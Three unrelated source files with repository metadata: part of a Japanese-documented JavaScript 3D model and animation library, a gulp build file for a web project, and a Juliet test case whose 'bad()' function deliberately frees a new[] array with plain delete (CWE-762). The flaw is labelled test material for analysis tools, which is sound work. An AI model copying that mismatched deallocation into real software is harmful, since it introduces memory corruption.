xpl.XModelExtensible */ xpl.XModelNode = function () { xpl.XModelExtensible.call(this, xpl.XModelStructure.TYPE_NODE); /** * string : 名前 * * @instance * @memberof xpl.XModelNode * @member {string} name */ this.name = null; /** * boolean_t : 親のノードと接続されているかどうか * * @instance * @memberof xpl.XModelNode * @member {boolean} connected */ this.connected = true; /** * boolean_t[SIZE_VECTOR_3] : 各軸が固定されているかどうか * * @instance * @memberof xpl.XModelNode * @member {Uint8Array} lock_axises */ this.lock_axises = new Uint8Array([false, false, false]); /** * boolean_t[SIZE_VECTOR_3] : 各軸に角度制限があるかどうか * * @instance * @memberof xpl.XModelNode * @member {Uint8Array} limit_angles */ this.limit_angles = new Uint8Array([false, false, false]); /** * float32_t[SIZE_VECTOR_3] : 各軸の最小角度 * * @instance * @memberof xpl.XModelNode * @member {Float32Array} min_angles */ this.min_angles = new Float32Array([-Math.PI, -Math.PI, -Math.PI]); /** * float32_t[SIZE_VECTOR_3] : 各軸の最大角度 * * @instance * @memberof xpl.XModelNode * @member {Float32Array} max_angles */ this.max_angles = new Float32Array([Math.PI, Math.PI, Math.PI]); /** * float32_t[SIZE_VECTOR_3] : ボーンの末端の位置 * * @instance * @memberof xpl.XModelNode * @member {Float32Array} bone_tail */ this.bone_tail = new Float32Array([0.0, 0.0, 0.0]); /** * XModelTransform[NUM_TRANSFORMS] : 変換の配列 * * @instance * @memberof xpl.XModelNode * @member {xpl.XModelTransform[]} transforms */ this.transforms = [null, null, null, null]; /** * uint16_t : 逆運動学の構造の数 * * @instance * @memberof xpl.XModelNode * @member {xpl.uint16_t} num_iks */ this.num_iks = 0; /** * XModelIK[num_iks] : 逆運動学の構造の配列 * * @instance * @memberof xpl.XModelNode * @member {xpl.XModelIK[]} iks */ this.iks = null; /** * uint16_t : メッシュの数 * * @instance * @memberof xpl.XModelNode * @member {xpl.uint16_t} num_meshes */ this.num_meshes = 0; /** * XModelMesh[num_meshes] : メッシュの配列 * * @instance * @memberof xpl.XModelNode * @member {xpl.XModelMesh[]} meshes */ this.meshes = null; /** * uint16_t : 子のノードの数 * * @instance * @memberof xpl.XModelNode * @member {xpl.uint16_t} num_children */ this.num_children = 0; /** * XModelFrame[num_children] : 子のノードの配列 * * @instance * @memberof xpl.XModelNode * @member {xpl.XModelNode[]} children */ this.children = null; // 作業変数 /** * XModelNode : 親のノード * * @instance * @memberof xpl.XModelNode * @member {xpl.XModelNode} parent */ this.parent = null; // 弱参照 /** * float32_t[SIZE_MATRIX] : オフセット行列 * * @instance * @memberof xpl.XModelNode * @member {Float32Array} offset_matrix */ this.offset_matrix = new Float32Array(xpl.XModelStructure.SIZE_MATRIX); /** * float32_t[SIZE_MATRIX * (NUM_BLEND_SLOT + 1)] : 合成された行列 * * @instance * @memberof xpl.XModelNode * @member {Float32Array} combined_matrix */ this.combined_matrix = new Float32Array(xpl.XModelStructure.SIZE_MATRIX * (xpl.XModelStructure.NUM_BLEND_SLOT + 1)); }; Object.setPrototypeOf(xpl.XModelNode.prototype, xpl.XModelExtensible.prototype); Object.defineProperties(xpl.XModelNode, { /** * 行列の変換構造 * * @memberof xpl.XModelNode * @const {xpl.enum_t} TRANSFORM_MATRIX */ TRANSFORM_MATRIX: {value: 0}, /** * 平行移動の変換構造 * * @memberof xpl.XModelNode * @const {xpl.enum_t} TRANSFORM_TRANSLATE */ TRANSFORM_TRANSLATE: {value: 1}, /** * 拡大の変換構造 * * @memberof xpl.XModelNode * @const {xpl.size_t} TRANSFORM_SCALE */ TRANSFORM_SCALE: {value: 2}, /** * 回転の変換構造 * * @memberof xpl.XModelNode * @const {xpl.size_t} TRANSFORM_ROTATE */ TRANSFORM_ROTATE: {value: 3}, /** * 変換構造の数 * * @memberof xpl.XModelNode * @const {xpl.size_t} NUM_TRANSFORMS */ NUM_TRANSFORMS: {value: 4} }); /** * ノードの名前を取得します。 * * @instance * @returns {string} ノードの名前 */ xpl.XModelNode.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * 逆運動学の構造です。 * * @class * @alias xpl.XModelIK * @augments xpl.XModelStructure */ xpl.XModelIK = function () { xpl.XModelStructure.call(this, xpl.XModelStructure.TYPE_IK); /** * XModelNode : 対象のノード * * @instance * @memberof xpl.XModelIK * @member {xpl.XModelNode} target */ this.target = null; /** * uint16_t : 繰り返しの最大数 * * @instance * @memberof xpl.XModelIK * @member {xpl.uint16_t} max_iterations */ this.max_iterations = 500; /** * uint16_t : チェインの数 * * @instance * @memberof xpl.XModelIK * @member {xpl.uint16_t} chain_length */ this.chain_length = 1; /** * float32_t : 影響度 * * @instance * @memberof xpl.XModelIK * @member {xpl.float32_t} influence */ this.influence = 1.0; }; Object.setPrototypeOf(xpl.XModelIK.prototype, xpl.XModelStructure.prototype); })(xpl); (function (xpl) { "use strict"; /** * アニメーションの構造です。 * * @constructor * @augments xpl.XModelExtensible */ xpl.XModelAnimation = function () { xpl.XModelExtensible.call(this, xpl.XModelStructure.TYPE_ANIMATION); /** * string : 名前 * * @instance * @memberof xpl.XModelAnimation * @member {string} name */ this.name = null; /** * XModelStructure : 処理対象のパラメータ * * @instance * @memberof xpl.XModelAnimation * @member {xpl.XModelParameter} target */ this.target = null; /** * uint32_t : 処理対象のパラメータのインデックス * * @instance * @memberof xpl.XModelAnimation * @member {xpl.uint32_t} index */ this.index = -1; /** * uint16_t : キーフレームの数 * * @instance * @memberof xpl.XModelAnimation * @member {xpl.uint16_t} num_keys */ this.num_keys = 0; /** * XModelAnimationKey[num_keys] : キーフレームの配列 * * @instance * @memberof xpl.XModelAnimation * @member {xpl.XModelAnimationKey[]} keys */ this.keys = null; /** * uint16_t : 子のアニメーションの数 * * @instance * @memberof xpl.XModelAnimation * @member {xpl.uint16_t} num_children */ this.num_children = 0; /** * XModelAnimation[] : 子のアニメーションの配列 * * @instance * @memberof xpl.XModelAnimation * @member {xpl.XModelAnimation[]} children */ this.children = null; }; Object.setPrototypeOf(xpl.XModelAnimation.prototype, xpl.XModelExtensible.prototype); /** * アニメーションの名前を取得します。 * * @instance * @returns {string} アニメーションの名前 */ xpl.XModelAnimation.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * アニメーションキーの構造です。 * * @constructor * @augments xpl.XModelStructure */ xpl.XModelAnimationKey = function () { xpl.XModelStructure.call(this, xpl.XModelStructure.TYPE_ANIMATION_KEY); /** * uint8_t : 補間の種別 * * @instance * @memberof xpl.XModelAnimationKey * @member {xpl.uint8_t} interpolate */ this.interpolate = xpl.XModelAnimationKey.INTERPOLATE_UNKNOWN; /** * float64_t : 時間 * * @instance * @memberof xpl.XModelAnimationKey * @member {xpl.float64_t} time */ this.time = 0; /** * float64_t : 始点の時間 * * @instance * @memberof xpl.XModelAnimationKey * @member {xpl.float64_t} before_time */ this.before_time = 0; /** * float64_t : 終点の時間 * * @instance * @memberof xpl.XModelAnimationKey * @member {xpl.float64_t} after_time */ this.after_time = 0; /** * uint32_t : 値のサイズ * * @instance * @memberof xpl.XModelAnimationKey * @member {xpl.uint32_t} value_size */ this.value_size = 0; /** * float32_t[value_size] : 値 * * @instance * @memberof xpl.XModelAnimationKey * @member {Float32Array} value */ this.value = null; /** * float32_t[value_size] : 始点の値 * * @instance * @memberof xpl.XModelAnimationKey * @member {Float32Array} before_value */ this.before_value = null; /** * float32_t[value_size] : 終点の値 * * @instance * @memberof xpl.XModelAnimationKey * @member {Float32Array} after_value */ this.after_value = null; }; Object.setPrototypeOf(xpl.XModelAnimationKey.prototype, xpl.XModelStructure.prototype); Object.defineProperties(xpl.XModelAnimationKey, { /** * 補間の種別不明 * * @memberof xpl.XModelAnimationKey * @const {xpl.enum_t} INTERPOLATE_UNKNOWN */ INTERPOLATE_UNKNOWN: {value: -1}, /** * 線形補間 * * @memberof xpl.XModelAnimationKey * @const {xpl.enum_t} INTERPOLATE_LINER */ INTERPOLATE_LINER: {value: 0}, /** * ベジェ曲線補間 * * @memberof xpl.XModelAnimationKey * @const {xpl.enum_t} INTERPOLATE_BEZIER */ INTERPOLATE_BEZIER: {value: 1} }); })(xpl); (function (ns) { "use strict"; /** * アニメーションセットの構造です。 * * @constructor * @augments xpl.XModelExtensible */ ns.XModelAnimationSet = function () { ns.XModelExtensible.call(this, ns.XModelStructure.TYPE_ANIMATION_SET); /** * string : 名前 * * @instance * @memberof xpl.XModelAnimationSet * @member {string} name */ this.name = null; /** * uint16_t : アニメーションの数 * * @instance * @memberof xpl.XModelAnimationSet * @member {xpl.uint16_t} num_animations */ this.num_animations = 0; /** * XModelAnimation[num_animations] : アニメーションの配列 * * @instance * @memberof xpl.XModelAnimationSet * @member {xpl.XModelAnimation[]} animations */ this.animations = null; }; Object.setPrototypeOf(ns.XModelAnimationSet.prototype, ns.XModelExtensible.prototype); /** * アニメーションセットの名前を取得します。 * * @instance * @returns {string} アニメーションセットの名前 */ ns.XModelAnimationSet.prototype.toString = function () { return this.name; }; })(xpl);
redlily/_xplain_for_js
src/xmodel_type.js
JavaScript
bsd-3-clause
55,070
var gulp = require("gulp"); // прописывает пути bower var wiredep = require('wiredep').stream; // сборка dist var useref = require('gulp-useref'); var gulpif = require('gulp-if'); var uglify = require('gulp-uglify'); var minifyCss = require('gulp-minify-css'); // для удаления файлов var clean = require('gulp-clean'); // создание локального сервера var browserSync = require('browser-sync'); // позволяет удалять в автомате не используемые стили var uncss = require('gulp-uncss'); // объединение стилей var concatCss = require('gulp-concat-css'); // позволяет добавлять префиксы в css для поддержки в разных браузерах var autoprefixer = require('gulp-autoprefixer'); // переименовывание var rename = require("gulp-rename"); // уведомления var notify = require("gulp-notify"); // Minify CSS //var csso = require('gulp-csso'); //Shorthand - обединяет селекторы var shorthand = require('gulp-shorthand'); //последовательности задач var runSequence = require('run-sequence'); // Сервер gulp.task('server', function () { browserSync({ port: 9000, server: { baseDir: 'app' } }); }); // Удаление папки dist gulp.task('clean', function () { return gulp.src('dist', {read: false}) .pipe(clean()) }); // Сборка production в папку dist gulp.task('dist', function () { var assets = useref.assets(); return gulp.src('app/*.html') .pipe(assets) .pipe(gulpif('*.js', uglify())) .pipe(gulpif('*.css', minifyCss())) .pipe(assets.restore()) .pipe(useref()) .pipe(gulp.dest('dist')) }); // Перенос картинак production в папку dist gulp.task('img', function () { return gulp.src('app/images/**/*') .pipe(gulp.dest('dist/images')) .pipe(notify("Build end!")) }); // Bower gulp.task('bower', function () { gulp.src('./app/index.html') .pipe(wiredep({ directory: "app/bower" })) .pipe(gulp.dest('./app')) }); // Uncss gulp.task("uncss", function () { gulp.src('cssbuild/style.css') .pipe(uncss({ html: ['app/index.html'] })) .pipe(gulp.dest('app/css')) }); // CSS gulp.task("css", function () { gulp.src('cssbuild/*.css') .pipe(concatCss("main.css")) .pipe(shorthand()) //.pipe(csso()) .pipe(autoprefixer('last 15 versions')) .pipe(gulp.dest('app/css')) }); // Слежка gulp.task('watch', function () { gulp.watch('cssbuild/*.css', ['css']); gulp.watch([ 'app/*.html', 'app/js/*.js', 'app/css/*.css' ]).on('change', browserSync.reload); }); // default gulp.task('edit', ['server', 'bower', 'css', 'watch']); // build production gulp.task('default', function () { runSequence('clean', ['dist', 'img']) });
Vetalb8/barbershop
gulpfile.js
JavaScript
bsd-3-clause
3,101
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE762_Mismatched_Memory_Management_Routines__new_array_delete_int64_t_21.cpp Label Definition File: CWE762_Mismatched_Memory_Management_Routines__new_array_delete.label.xml Template File: sources-sinks-21.tmpl.cpp */ /* * @description * CWE: 762 Mismatched Memory Management Routines * BadSource: Allocate data using new [] * GoodSource: Allocate data using new * Sinks: * GoodSink: Deallocate data using delete [] * BadSink : Deallocate data using delete * Flow Variant: 21 Control flow: Flow controlled by value of a static global variable. All functions contained in one file. * * */ #include "std_testcase.h" namespace CWE762_Mismatched_Memory_Management_Routines__new_array_delete_int64_t_21 { #ifndef OMITBAD /* The static variable below is used to drive control flow in the sink function */ static int badStatic = 0; static void badSink(int64_t * data) { if(badStatic) { /* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may * require a call to delete [] to deallocate the memory */ delete data; } } void bad() { int64_t * data; /* Initialize data*/ data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires delete [] to free the memory */ data = new int64_t[100]; badStatic = 1; /* true */ badSink(data); } #endif /* OMITBAD */ #ifndef OMITGOOD /* The static variables below are used to drive control flow in the sink functions. */ static int goodB2G1Static = 0; static int goodB2G2Static = 0; static int goodG2bStatic = 0; /* goodB2G1() - use badsource and goodsink by setting the static variable to false instead of true */ static void goodB2G1Sink(int64_t * data) { if(goodB2G1Static) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { /* FIX: Deallocate the memory using delete [] */ delete [] data; } } static void goodB2G1() { int64_t * data; /* Initialize data*/ data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires delete [] to free the memory */ data = new int64_t[100]; goodB2G1Static = 0; /* false */ goodB2G1Sink(data); } /* goodB2G2() - use badsource and goodsink by reversing the blocks in the if in the sink function */ static void goodB2G2Sink(int64_t * data) { if(goodB2G2Static) { /* FIX: Deallocate the memory using delete [] */ delete [] data; } } static void goodB2G2() { int64_t * data; /* Initialize data*/ data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires delete [] to free the memory */ data = new int64_t[100]; goodB2G2Static = 1; /* true */ goodB2G2Sink(data); } /* goodG2B() - use goodsource and badsink */ static void goodG2BSink(int64_t * data) { if(goodG2bStatic) { /* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may * require a call to delete [] to deallocate the memory */ delete data; } } static void goodG2B() { int64_t * data; /* Initialize data*/ data = NULL; /* FIX: Allocate memory from the heap using new */ data = new int64_t; goodG2bStatic = 1; /* true */ goodG2BSink(data); } void good() { goodB2G1(); goodB2G2(); goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE762_Mismatched_Memory_Management_Routines__new_array_delete_int64_t_21; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE762_Mismatched_Memory_Management_Routines/s05/CWE762_Mismatched_Memory_Management_Routines__new_array_delete_int64_t_21.cpp
C++
bsd-3-clause
4,476